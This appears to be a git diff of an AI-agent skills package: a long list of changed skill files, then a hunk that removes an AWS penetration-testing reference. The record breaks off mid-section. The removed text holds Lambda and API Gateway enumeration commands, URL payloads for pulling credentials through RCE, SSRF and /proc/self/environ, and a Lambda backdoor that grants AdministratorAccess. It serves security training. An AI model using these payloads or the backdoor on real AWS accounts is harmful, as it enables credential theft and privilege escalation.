- package/skills/pci-compliance/SKILL.md +478 -0
- package/skills/pdf/LICENSE.txt +30 -0
- package/skills/pdf/SKILL.md +196 -6
- package/skills/pdf/forms.md +205 -0
- package/skills/pdf/reference.md +612 -0
- package/skills/pdf/scripts/check_bounding_boxes.py +70 -0
- package/skills/pdf/scripts/check_bounding_boxes_test.py +226 -0
- package/skills/pdf/scripts/check_fillable_fields.py +12 -0
- package/skills/pdf/scripts/convert_pdf_to_images.py +35 -0
- package/skills/pdf/scripts/create_validation_image.py +41 -0
- package/skills/pdf/scripts/extract_form_field_info.py +152 -0
- package/skills/pdf/scripts/fill_fillable_fields.py +114 -0
- package/skills/pdf/scripts/fill_pdf_form_with_annotations.py +108 -0
- package/skills/performance-engineer/SKILL.md +180 -0
- package/skills/performance-testing-review-ai-review/SKILL.md +450 -0
- package/skills/performance-testing-review-multi-agent-review/SKILL.md +216 -0
- package/skills/php-pro/SKILL.md +46 -78
- package/skills/playwright-skill/run.js +0 -0
- package/skills/podcast-generation/SKILL.md +0 -2
- package/skills/posix-shell-pro/SKILL.md +304 -0
- package/skills/postgresql/SKILL.md +230 -0
- package/skills/postmortem-writing/SKILL.md +386 -0
- package/skills/pptx/LICENSE.txt +30 -0
- package/skills/pptx/SKILL.md +456 -86
- package/skills/pptx/html2pptx.md +625 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd +1499 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd +146 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd +1085 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd +11 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd +3081 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd +23 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd +185 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd +287 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd +1676 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd +28 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd +144 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd +174 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd +25 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd +18 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd +59 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd +56 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd +195 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd +582 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd +25 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd +4439 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd +570 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd +509 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd +12 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd +108 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd +96 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd +3646 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd +116 -0
- package/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd +42 -0
- package/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd +50 -0
- package/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd +49 -0
- package/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd +33 -0
- package/skills/pptx/ooxml/schemas/mce/mc.xsd +75 -0
- package/skills/pptx/ooxml/schemas/microsoft/wml-2010.xsd +560 -0
- package/skills/pptx/ooxml/schemas/microsoft/wml-2012.xsd +67 -0
- package/skills/pptx/ooxml/schemas/microsoft/wml-2018.xsd +14 -0
- package/skills/pptx/ooxml/schemas/microsoft/wml-cex-2018.xsd +20 -0
- package/skills/pptx/ooxml/schemas/microsoft/wml-cid-2016.xsd +13 -0
- package/skills/pptx/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd +4 -0
- package/skills/pptx/ooxml/schemas/microsoft/wml-symex-2015.xsd +8 -0
- package/skills/pptx/ooxml/scripts/pack.py +159 -0
- package/skills/pptx/ooxml/scripts/unpack.py +29 -0
- package/skills/pptx/ooxml/scripts/validate.py +69 -0
- package/skills/pptx/ooxml/scripts/validation/__init__.py +15 -0
- package/skills/pptx/ooxml/scripts/validation/base.py +951 -0
- package/skills/pptx/ooxml/scripts/validation/docx.py +274 -0
- package/skills/pptx/ooxml/scripts/validation/pptx.py +315 -0
- package/skills/pptx/ooxml/scripts/validation/redlining.py +279 -0
- package/skills/pptx/ooxml.md +427 -0
- package/skills/pptx/scripts/html2pptx.js +979 -0
- package/skills/pptx/scripts/inventory.py +1020 -0
- package/skills/pptx/scripts/rearrange.py +231 -0
- package/skills/pptx/scripts/replace.py +385 -0
- package/skills/pptx/scripts/thumbnail.py +450 -0
- package/skills/pptx-official/ooxml/scripts/pack.py +0 -0
- package/skills/pptx-official/ooxml/scripts/unpack.py +0 -0
- package/skills/pptx-official/ooxml/scripts/validate.py +0 -0
- package/skills/pptx-official/scripts/html2pptx.js +0 -0
- package/skills/pptx-official/scripts/inventory.py +0 -0
- package/skills/pptx-official/scripts/rearrange.py +0 -0
- package/skills/pptx-official/scripts/replace.py +0 -0
- package/skills/pptx-official/scripts/thumbnail.py +0 -0
- package/skills/projection-patterns/SKILL.md +33 -0
- package/skills/projection-patterns/resources/implementation-playbook.md +501 -0
- package/skills/prometheus-configuration/SKILL.md +404 -0
- package/skills/prompt-engineer/SKILL.md +243 -64
- package/skills/prompt-engineering-patterns/SKILL.md +213 -0
- package/skills/prompt-engineering-patterns/assets/few-shot-examples.json +106 -0
- package/skills/prompt-engineering-patterns/assets/prompt-template-library.md +246 -0
- package/skills/prompt-engineering-patterns/references/chain-of-thought.md +399 -0
- package/skills/prompt-engineering-patterns/references/few-shot-learning.md +369 -0
- package/skills/prompt-engineering-patterns/references/prompt-optimization.md +414 -0
- package/skills/prompt-engineering-patterns/references/prompt-templates.md +470 -0
- package/skills/prompt-engineering-patterns/references/system-prompts.md +189 -0
- package/skills/prompt-engineering-patterns/scripts/optimize-prompt.py +279 -0
- package/skills/protocol-reverse-engineering/SKILL.md +29 -0
- package/skills/protocol-reverse-engineering/resources/implementation-playbook.md +509 -0
- package/skills/pypict-skill/SKILL.md +22 -0
- package/skills/python-development-python-scaffold/SKILL.md +331 -0
- package/skills/python-packaging/SKILL.md +36 -0
- package/skills/python-packaging/resources/implementation-playbook.md +869 -0
- package/skills/python-performance-optimization/SKILL.md +36 -0
- package/skills/python-performance-optimization/resources/implementation-playbook.md +868 -0
- package/skills/python-pro/SKILL.md +155 -89
- package/skills/python-testing-patterns/SKILL.md +37 -0
- package/skills/python-testing-patterns/resources/implementation-playbook.md +906 -0
- package/skills/quant-analyst/SKILL.md +53 -0
- package/skills/radix-ui-design-system/SKILL.md +847 -0
- package/skills/radix-ui-design-system/examples/README.md +63 -0
- package/skills/radix-ui-design-system/examples/dialog-example.tsx +128 -0
- package/skills/radix-ui-design-system/examples/dropdown-example.tsx +162 -0
- package/skills/radix-ui-design-system/templates/component-template.tsx +148 -0
- package/skills/rag-implementation/SKILL.md +395 -37
- package/skills/react-modernization/SKILL.md +34 -0
- package/skills/react-modernization/resources/implementation-playbook.md +512 -0
- package/skills/react-native-architecture/SKILL.md +33 -0
- package/skills/react-native-architecture/resources/implementation-playbook.md +670 -0
- package/skills/react-state-management/SKILL.md +441 -0
- package/skills/readme/SKILL.md +775 -0
- package/skills/reference-builder/SKILL.md +188 -0
- package/skills/reverse-engineer/SKILL.md +173 -0
- package/skills/risk-manager/SKILL.md +61 -0
- package/skills/risk-metrics-calculation/SKILL.md +33 -0
- package/skills/risk-metrics-calculation/resources/implementation-playbook.md +554 -0
- package/skills/ruby-pro/SKILL.md +56 -0
- package/skills/rust-async-patterns/SKILL.md +33 -0
- package/skills/rust-async-patterns/resources/implementation-playbook.md +516 -0
- package/skills/rust-pro/SKILL.md +178 -0
- package/skills/saga-orchestration/SKILL.md +496 -0
- package/skills/sales-automator/SKILL.md +55 -0
- package/skills/sast-configuration/SKILL.md +212 -0
- package/skills/scala-pro/SKILL.md +82 -0
- package/skills/screen-reader-testing/SKILL.md +33 -0
- package/skills/screen-reader-testing/resources/implementation-playbook.md +544 -0
- package/skills/screenshots/SKILL.md +401 -0
- package/skills/search-specialist/SKILL.md +80 -0
- package/skills/secrets-management/SKILL.md +364 -0
- package/skills/security-auditor/SKILL.md +169 -0
- package/skills/security-bluebook-builder/SKILL.md +22 -0
- package/skills/security-compliance-compliance-check/SKILL.md +55 -0
- package/skills/security-compliance-compliance-check/resources/implementation-playbook.md +963 -0
- package/skills/security-requirement-extraction/SKILL.md +33 -0
- package/skills/security-requirement-extraction/resources/implementation-playbook.md +676 -0
- package/skills/security-scanning-security-dependencies/SKILL.md +43 -0
- package/skills/security-scanning-security-dependencies/resources/implementation-playbook.md +544 -0
- package/skills/security-scanning-security-hardening/SKILL.md +147 -0
- package/skills/security-scanning-security-sast/SKILL.md +495 -0
- package/skills/senior-architect/scripts/architecture_diagram_generator.py +0 -0
- package/skills/senior-architect/scripts/dependency_analyzer.py +0 -0
- package/skills/senior-architect/scripts/project_architect.py +0 -0
- package/skills/senior-backend/scripts/api_load_tester.py +0 -0
- package/skills/senior-backend/scripts/api_scaffolder.py +0 -0
- package/skills/senior-backend/scripts/database_migration_tool.py +0 -0
- package/skills/senior-computer-vision/scripts/dataset_pipeline_builder.py +0 -0
- package/skills/senior-computer-vision/scripts/inference_optimizer.py +0 -0
- package/skills/senior-computer-vision/scripts/vision_model_trainer.py +0 -0
- package/skills/senior-data-engineer/scripts/data_quality_validator.py +0 -0
- package/skills/senior-data-engineer/scripts/etl_performance_optimizer.py +0 -0
- package/skills/senior-data-engineer/scripts/pipeline_orchestrator.py +0 -0
- package/skills/senior-data-scientist/scripts/experiment_designer.py +0 -0
- package/skills/senior-data-scientist/scripts/feature_engineering_pipeline.py +0 -0
- package/skills/senior-data-scientist/scripts/model_evaluation_suite.py +0 -0
- package/skills/senior-devops/scripts/deployment_manager.py +0 -0
- package/skills/senior-devops/scripts/pipeline_generator.py +0 -0
- package/skills/senior-devops/scripts/terraform_scaffolder.py +0 -0
- package/skills/senior-frontend/scripts/bundle_analyzer.py +0 -0
- package/skills/senior-frontend/scripts/component_generator.py +0 -0
- package/skills/senior-frontend/scripts/frontend_scaffolder.py +0 -0
- package/skills/senior-fullstack/scripts/code_quality_analyzer.py +0 -0
- package/skills/senior-fullstack/scripts/fullstack_scaffolder.py +0 -0
- package/skills/senior-fullstack/scripts/project_scaffolder.py +0 -0
- package/skills/senior-ml-engineer/scripts/ml_monitoring_suite.py +0 -0
- package/skills/senior-ml-engineer/scripts/model_deployment_pipeline.py +0 -0
- package/skills/senior-ml-engineer/scripts/rag_system_builder.py +0 -0
- package/skills/senior-prompt-engineer/scripts/agent_orchestrator.py +0 -0
- package/skills/senior-prompt-engineer/scripts/prompt_optimizer.py +0 -0
- package/skills/senior-prompt-engineer/scripts/rag_evaluator.py +0 -0
- package/skills/senior-qa/scripts/coverage_analyzer.py +0 -0
- package/skills/senior-qa/scripts/e2e_test_scaffolder.py +0 -0
- package/skills/senior-qa/scripts/test_suite_generator.py +0 -0
- package/skills/senior-secops/scripts/compliance_checker.py +0 -0
- package/skills/senior-secops/scripts/security_scanner.py +0 -0
- package/skills/senior-secops/scripts/vulnerability_assessor.py +0 -0
- package/skills/senior-security/scripts/pentest_automator.py +0 -0
- package/skills/senior-security/scripts/security_auditor.py +0 -0
- package/skills/senior-security/scripts/threat_modeler.py +0 -0
- package/skills/seo-authority-builder/SKILL.md +136 -0
- package/skills/seo-cannibalization-detector/SKILL.md +123 -0
- package/skills/seo-content-auditor/SKILL.md +83 -0
- package/skills/seo-content-planner/SKILL.md +108 -0
- package/skills/seo-content-refresher/SKILL.md +118 -0
- package/skills/seo-content-writer/SKILL.md +96 -0
- package/skills/seo-keyword-strategist/SKILL.md +95 -0
- package/skills/seo-meta-optimizer/SKILL.md +92 -0
- package/skills/seo-snippet-hunter/SKILL.md +114 -0
- package/skills/seo-structure-architect/SKILL.md +108 -0
- package/skills/service-mesh-expert/SKILL.md +58 -0
- package/skills/service-mesh-observability/SKILL.md +395 -0
- package/skills/sharp-edges/SKILL.md +70 -0
- package/skills/shellcheck-configuration/SKILL.md +466 -0
- package/skills/similarity-search-patterns/SKILL.md +33 -0
- package/skills/similarity-search-patterns/resources/implementation-playbook.md +557 -0
- package/skills/skill-creator/scripts/init_skill.py +0 -0
- package/skills/skill-creator/scripts/package_skill.py +0 -0
- package/skills/skill-creator/scripts/quick_validate.py +0 -0
- package/skills/skill-rails-upgrade/SKILL.md +408 -0
- package/skills/skill-seekers/SKILL.md +22 -0
- package/skills/slack-gif-creator/core/easing.py +0 -0
- package/skills/slack-gif-creator/core/frame_composer.py +0 -0
- package/skills/slack-gif-creator/core/gif_builder.py +0 -0
- package/skills/slack-gif-creator/core/validators.py +0 -0
- package/skills/slo-implementation/SKILL.md +341 -0
- package/skills/solidity-security/SKILL.md +34 -0
- package/skills/solidity-security/resources/implementation-playbook.md +524 -0
- package/skills/spark-optimization/SKILL.md +427 -0
- package/skills/sql-optimization-patterns/SKILL.md +35 -0
- package/skills/sql-optimization-patterns/resources/implementation-playbook.md +504 -0
- package/skills/sql-pro/SKILL.md +170 -94
- package/skills/startup-analyst/SKILL.md +328 -0
- package/skills/startup-business-analyst-business-case/SKILL.md +487 -0
- package/skills/startup-business-analyst-financial-projections/SKILL.md +353 -0
- package/skills/startup-business-analyst-market-opportunity/SKILL.md +240 -0
- package/skills/startup-financial-modeling/SKILL.md +467 -0
- package/skills/startup-metrics-framework/SKILL.md +34 -0
- package/skills/startup-metrics-framework/resources/implementation-playbook.md +500 -0
- package/skills/stitch-ui-design/README.md +165 -0
- package/skills/stitch-ui-design/SKILL.md +378 -0
- package/skills/stitch-ui-design/references/advanced-techniques.md +541 -0
- package/skills/stitch-ui-design/references/prompt-examples.md +601 -0
- package/skills/stride-analysis-patterns/SKILL.md +33 -0
- package/skills/stride-analysis-patterns/resources/implementation-playbook.md +655 -0
- package/skills/stripe-integration/SKILL.md +429 -44
- package/skills/superpowers-lab/SKILL.md +22 -0
- package/skills/swiftui-expert-skill/SKILL.md +275 -0
- package/skills/systematic-debugging/find-polluter.sh +0 -0
- package/skills/systems-programming-rust-project/SKILL.md +440 -0
- package/skills/tailwind-design-system/SKILL.md +33 -0
- package/skills/tailwind-design-system/resources/implementation-playbook.md +665 -0
- package/skills/tdd-orchestrator/SKILL.md +205 -0
- package/skills/tdd-workflows-tdd-cycle/SKILL.md +221 -0
- package/skills/tdd-workflows-tdd-green/SKILL.md +73 -0
- package/skills/tdd-workflows-tdd-green/resources/implementation-playbook.md +870 -0
- package/skills/tdd-workflows-tdd-red/SKILL.md +164 -0
- package/skills/tdd-workflows-tdd-refactor/SKILL.md +187 -0
- package/skills/team-collaboration-issue/SKILL.md +37 -0
- package/skills/team-collaboration-issue/resources/implementation-playbook.md +640 -0
- package/skills/team-collaboration-standup-notes/SKILL.md +44 -0
- package/skills/team-collaboration-standup-notes/resources/implementation-playbook.md +768 -0
- package/skills/team-composition-analysis/SKILL.md +413 -0
- package/skills/temporal-python-pro/SKILL.md +370 -0
- package/skills/temporal-python-testing/SKILL.md +170 -0
- package/skills/temporal-python-testing/resources/integration-testing.md +455 -0
- package/skills/temporal-python-testing/resources/local-setup.md +553 -0
- package/skills/temporal-python-testing/resources/replay-testing.md +462 -0
- package/skills/temporal-python-testing/resources/unit-testing.md +328 -0
- package/skills/terraform-module-library/SKILL.md +261 -0
- package/skills/terraform-module-library/references/aws-modules.md +63 -0
- package/skills/terraform-skill/SKILL.md +517 -0
- package/skills/terraform-specialist/SKILL.md +166 -0
- package/skills/test-automator/SKILL.md +224 -0
- package/skills/threat-mitigation-mapping/SKILL.md +33 -0
- package/skills/threat-mitigation-mapping/resources/implementation-playbook.md +744 -0
- package/skills/threat-modeling-expert/SKILL.md +60 -0
- package/skills/threejs-skills/SKILL.md +22 -0
- package/skills/tool-design/SKILL.md +318 -0
- package/skills/track-management/SKILL.md +38 -0
- package/skills/track-management/resources/implementation-playbook.md +591 -0
- package/skills/turborepo-caching/SKILL.md +419 -0
- package/skills/tutorial-engineer/SKILL.md +139 -0
- package/skills/typescript-advanced-types/SKILL.md +35 -0
- package/skills/typescript-advanced-types/resources/implementation-playbook.md +716 -0
- package/skills/typescript-pro/SKILL.md +52 -91
- package/skills/ui-skills/SKILL.md +22 -0
- package/skills/ui-ux-designer/SKILL.md +209 -0
- package/skills/ui-ux-pro-max/SKILL.md +351 -351
- package/skills/ui-ux-pro-max/data/charts.csv +25 -25
- package/skills/ui-ux-pro-max/data/colors.csv +96 -96
- package/skills/ui-ux-pro-max/data/landing.csv +30 -30
- package/skills/ui-ux-pro-max/data/products.csv +96 -96
- package/skills/ui-ux-pro-max/data/prompts.csv +20 -20
- package/skills/ui-ux-pro-max/data/stacks/flutter.csv +53 -53
- package/skills/ui-ux-pro-max/data/stacks/html-tailwind.csv +56 -56
- package/skills/ui-ux-pro-max/data/stacks/nextjs.csv +53 -53
- package/skills/ui-ux-pro-max/data/stacks/react-native.csv +52 -52
- package/skills/ui-ux-pro-max/data/stacks/react.csv +54 -54
- package/skills/ui-ux-pro-max/data/stacks/svelte.csv +54 -54
- package/skills/ui-ux-pro-max/data/stacks/swiftui.csv +51 -51
- package/skills/ui-ux-pro-max/data/stacks/vue.csv +50 -50
- package/skills/ui-ux-pro-max/data/styles.csv +58 -58
- package/skills/ui-ux-pro-max/data/ux-guidelines.csv +99 -99
- package/skills/ui-ux-pro-max/scripts/search.py +76 -76
- package/skills/ui-visual-validator/SKILL.md +214 -0
- package/skills/unit-testing-test-generate/SKILL.md +319 -0
- package/skills/unity-developer/SKILL.md +230 -0
- package/skills/unity-ecs-patterns/SKILL.md +33 -0
- package/skills/unity-ecs-patterns/resources/implementation-playbook.md +625 -0
- package/skills/unreal-engine-cpp-pro/SKILL.md +114 -0
- package/skills/unreal-engine-cpp-pro/examples/ExampleActor.cpp +43 -0
- package/skills/unreal-engine-cpp-pro/examples/ExampleActor.h +57 -0
- package/skills/upgrading-expo/SKILL.md +108 -12
- package/skills/using-neon/SKILL.md +84 -0
- package/skills/uv-package-manager/SKILL.md +37 -0
- package/skills/uv-package-manager/resources/implementation-playbook.md +830 -0
- package/skills/varlock-claude-skill/SKILL.md +22 -0
- package/skills/vector-database-engineer/SKILL.md +60 -0
- package/skills/vector-index-tuning/SKILL.md +42 -0
- package/skills/vector-index-tuning/resources/implementation-playbook.md +507 -0
- package/skills/vercel-deploy-claimable/SKILL.md +120 -0
- package/skills/vercel-deployment/SKILL.md +10 -0
- package/skills/vexor/SKILL.md +22 -0
- package/skills/wcag-audit-patterns/SKILL.md +41 -0
- package/skills/wcag-audit-patterns/resources/implementation-playbook.md +541 -0
- package/skills/web-artifacts-builder/scripts/bundle-artifact.sh +0 -0
- package/skills/web-artifacts-builder/scripts/init-artifact.sh +0 -0
- package/skills/web3-testing/SKILL.md +427 -0
- package/skills/webapp-testing/scripts/with_server.py +0 -0
- package/skills/workflow-orchestration-patterns/SKILL.md +333 -0
- package/skills/workflow-patterns/SKILL.md +38 -0
- package/skills/workflow-patterns/resources/implementation-playbook.md +621 -0
- package/skills/writing-skills/SKILL.md +84 -696
- package/skills/writing-skills/examples.md +282 -0
- package/skills/writing-skills/gotchas.md +197 -0
- package/skills/writing-skills/references/anti-rationalization/README.md +255 -0
- package/skills/writing-skills/references/cso/README.md +268 -0
- package/skills/writing-skills/references/standards/README.md +152 -0
- package/skills/writing-skills/references/standards/metadata-standard.md +65 -0
- package/skills/writing-skills/references/templates/discipline.md +54 -0
- package/skills/writing-skills/references/templates/pattern.md +48 -0
- package/skills/writing-skills/references/templates/reference.md +35 -0
- package/skills/writing-skills/references/templates/technique.md +59 -0
- package/skills/writing-skills/references/templates/tier-3-platform.md +19 -0
- package/skills/writing-skills/references/testing/README.md +204 -0
- package/skills/writing-skills/references/tier-1-simple/README.md +75 -0
- package/skills/writing-skills/references/tier-2-expanded/README.md +69 -0
- package/skills/writing-skills/references/tier-3-platform/README.md +98 -0
- package/skills/writing-skills/render-graphs.js +0 -0
- package/skills/x-article-publisher-skill/SKILL.md +22 -0
- package/skills/xlsx/LICENSE.txt +30 -0
- package/skills/xlsx/SKILL.md +217 -28
- package/skills/xlsx/recalc.py +178 -0
|
@@ -1,469 +1,469 @@
|
|
|
1
|
-
# Advanced AWS Penetration Testing Reference
|
|
2
|
-
|
|
3
|
-
## Table of Contents
|
|
4
|
-
- [Training Resources](#training-resources)
|
|
5
|
-
- [Extended Tools Arsenal](#extended-tools-arsenal)
|
|
6
|
-
- [AWS API Calls That Return Credentials](#aws-api-calls-that-return-credentials)
|
|
7
|
-
- [Lambda & API Gateway](#lambda--api-gateway)
|
|
8
|
-
- [Secrets Manager & KMS](#secrets-manager--kms)
|
|
9
|
-
- [Container Security (ECS/EKS/ECR)](#container-security-ecseksecr)
|
|
10
|
-
- [RDS Database Exploitation](#rds-database-exploitation)
|
|
11
|
-
- [DynamoDB Exploitation](#dynamodb-exploitation)
|
|
12
|
-
- [VPC Enumeration & Lateral Movement](#vpc-enumeration--lateral-movement)
|
|
13
|
-
- [Security Checklist](#security-checklist)
|
|
14
|
-
|
|
15
|
-
---
|
|
16
|
-
|
|
17
|
-
## Training Resources
|
|
18
|
-
|
|
19
|
-
| Resource | Description | URL |
|
|
20
|
-
|----------|-------------|-----|
|
|
21
|
-
| AWSGoat | Damn Vulnerable AWS Infrastructure | github.com/ine-labs/AWSGoat |
|
|
22
|
-
| Cloudgoat | AWS CTF-style scenario | github.com/RhinoSecurityLabs/cloudgoat |
|
|
23
|
-
| Flaws | AWS security challenge | flaws.cloud |
|
|
24
|
-
| SadCloud | Terraform for vuln AWS | github.com/nccgroup/sadcloud |
|
|
25
|
-
| DVCA | Vulnerable Cloud App | medium.com/poka-techblog |
|
|
26
|
-
|
|
27
|
-
---
|
|
28
|
-
|
|
29
|
-
## Extended Tools Arsenal
|
|
30
|
-
|
|
31
|
-
### weirdAAL - AWS Attack Library
|
|
32
|
-
```bash
|
|
33
|
-
python3 weirdAAL.py -m ec2_describe_instances -t demo
|
|
34
|
-
python3 weirdAAL.py -m lambda_get_account_settings -t demo
|
|
35
|
-
python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2'
|
|
36
|
-
```
|
|
37
|
-
|
|
38
|
-
### cloudmapper - AWS Environment Analyzer
|
|
39
|
-
```bash
|
|
40
|
-
git clone https://github.com/duo-labs/cloudmapper.git
|
|
41
|
-
pipenv install --skip-lock
|
|
42
|
-
pipenv shell
|
|
43
|
-
|
|
44
|
-
# Commands
|
|
45
|
-
report # Generate HTML report
|
|
46
|
-
iam_report # IAM-specific report
|
|
47
|
-
audit # Check misconfigurations
|
|
48
|
-
collect # Collect account metadata
|
|
49
|
-
find_admins # Identify admin users/roles
|
|
50
|
-
```
|
|
51
|
-
|
|
52
|
-
### cloudsplaining - IAM Security Assessment
|
|
53
|
-
```bash
|
|
54
|
-
pip3 install --user cloudsplaining
|
|
55
|
-
cloudsplaining download --profile myawsprofile
|
|
56
|
-
cloudsplaining scan --input-file default.json
|
|
57
|
-
```
|
|
58
|
-
|
|
59
|
-
### s3_objects_check - S3 Object Permissions
|
|
60
|
-
```bash
|
|
61
|
-
git clone https://github.com/nccgroup/s3_objects_check
|
|
62
|
-
python s3-objects-check.py -p whitebox-profile -e blackbox-profile
|
|
63
|
-
```
|
|
64
|
-
|
|
65
|
-
### dufflebag - Find EBS Secrets
|
|
66
|
-
```bash
|
|
67
|
-
# Finds secrets exposed via Amazon EBS's "public" mode
|
|
68
|
-
git clone https://github.com/BishopFox/dufflebag
|
|
69
|
-
```
|
|
70
|
-
|
|
71
|
-
---
|
|
72
|
-
|
|
73
|
-
## AWS API Calls That Return Credentials
|
|
74
|
-
|
|
75
|
-
| API Call | Description |
|
|
76
|
-
|----------|-------------|
|
|
77
|
-
| `chime:createapikey` | Create API key |
|
|
78
|
-
| `codepipeline:pollforjobs` | Poll for jobs |
|
|
79
|
-
| `cognito-identity:getopenidtoken` | Get OpenID token |
|
|
80
|
-
| `cognito-identity:getcredentialsforidentity` | Get identity credentials |
|
|
81
|
-
| `connect:getfederationtoken` | Get federation token |
|
|
82
|
-
| `ecr:getauthorizationtoken` | ECR auth token |
|
|
83
|
-
| `gamelift:requestuploadcredentials` | GameLift upload creds |
|
|
84
|
-
| `iam:createaccesskey` | Create access key |
|
|
85
|
-
| `iam:createloginprofile` | Create login profile |
|
|
86
|
-
| `iam:createservicespecificcredential` | Service-specific creds |
|
|
87
|
-
| `lightsail:getinstanceaccessdetails` | Instance access details |
|
|
88
|
-
| `lightsail:getrelationaldatabasemasteruserpassword` | DB master password |
|
|
89
|
-
| `rds-db:connect` | RDS connect |
|
|
90
|
-
| `redshift:getclustercredentials` | Redshift credentials |
|
|
91
|
-
| `sso:getrolecredentials` | SSO role credentials |
|
|
92
|
-
| `sts:assumerole` | Assume role |
|
|
93
|
-
| `sts:assumerolewithsaml` | Assume role with SAML |
|
|
94
|
-
| `sts:assumerolewithwebidentity` | Web identity assume |
|
|
95
|
-
| `sts:getfederationtoken` | Federation token |
|
|
96
|
-
| `sts:getsessiontoken` | Session token |
|
|
97
|
-
|
|
98
|
-
---
|
|
99
|
-
|
|
100
|
-
## Lambda & API Gateway
|
|
101
|
-
|
|
102
|
-
### Lambda Enumeration
|
|
103
|
-
|
|
104
|
-
```bash
|
|
105
|
-
# List all lambda functions
|
|
106
|
-
aws lambda list-functions
|
|
107
|
-
|
|
108
|
-
# Get function details and download code
|
|
109
|
-
aws lambda get-function --function-name FUNCTION_NAME
|
|
110
|
-
wget -O lambda-function.zip "url-from-previous-query"
|
|
111
|
-
|
|
112
|
-
# Get function policy
|
|
113
|
-
aws lambda get-policy --function-name FUNCTION_NAME
|
|
114
|
-
|
|
115
|
-
# List event source mappings
|
|
116
|
-
aws lambda list-event-source-mappings --function-name FUNCTION_NAME
|
|
117
|
-
|
|
118
|
-
# List Lambda layers (dependencies)
|
|
119
|
-
aws lambda list-layers
|
|
120
|
-
aws lambda get-layer-version --layer-name NAME --version-number VERSION
|
|
121
|
-
```
|
|
122
|
-
|
|
123
|
-
### API Gateway Enumeration
|
|
124
|
-
|
|
125
|
-
```bash
|
|
126
|
-
# List REST APIs
|
|
127
|
-
aws apigateway get-rest-apis
|
|
128
|
-
|
|
129
|
-
# Get specific API info
|
|
130
|
-
aws apigateway get-rest-api --rest-api-id ID
|
|
131
|
-
|
|
132
|
-
# List endpoints (resources)
|
|
133
|
-
aws apigateway get-resources --rest-api-id ID
|
|
134
|
-
|
|
135
|
-
# Get method info
|
|
136
|
-
aws apigateway get-method --rest-api-id ID --resource-id RES_ID --http-method GET
|
|
137
|
-
|
|
138
|
-
# List API versions (stages)
|
|
139
|
-
aws apigateway get-stages --rest-api-id ID
|
|
140
|
-
|
|
141
|
-
# List API keys
|
|
142
|
-
aws apigateway get-api-keys --include-values
|
|
143
|
-
```
|
|
144
|
-
|
|
145
|
-
### Lambda Credential Access
|
|
146
|
-
|
|
147
|
-
```bash
|
|
148
|
-
# Via RCE - get environment variables
|
|
149
|
-
https://apigateway/prod/system?cmd=env
|
|
150
|
-
|
|
151
|
-
# Via SSRF - access runtime API
|
|
152
|
-
https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/
|
|
153
|
-
|
|
154
|
-
# Via file read
|
|
155
|
-
https://apigateway/prod/system?cmd=file:///proc/self/environ
|
|
156
|
-
```
|
|
157
|
-
|
|
158
|
-
### Lambda Backdooring
|
|
159
|
-
|
|
160
|
-
```python
|
|
161
|
-
# Malicious Lambda code to escalate privileges
|
|
162
|
-
import boto3
|
|
163
|
-
import json
|
|
164
|
-
|
|
165
|
-
def handler(event, context):
|
|
166
|
-
iam = boto3.client("iam")
|
|
167
|
-
iam.attach_role_policy(
|
|
168
|
-
RoleName="role_name",
|
|
169
|
-
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
|
|
170
|
-
)
|
|
171
|
-
iam.attach_user_policy(
|
|
172
|
-
UserName="user_name",
|
|
173
|
-
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
|
|
174
|
-
)
|
|
175
|
-
return {'statusCode': 200, 'body': json.dumps("Pwned")}
|
|
176
|
-
```
|
|
177
|
-
|
|
178
|
-
```bash
|
|
179
|
-
# Update function with backdoor
|
|
180
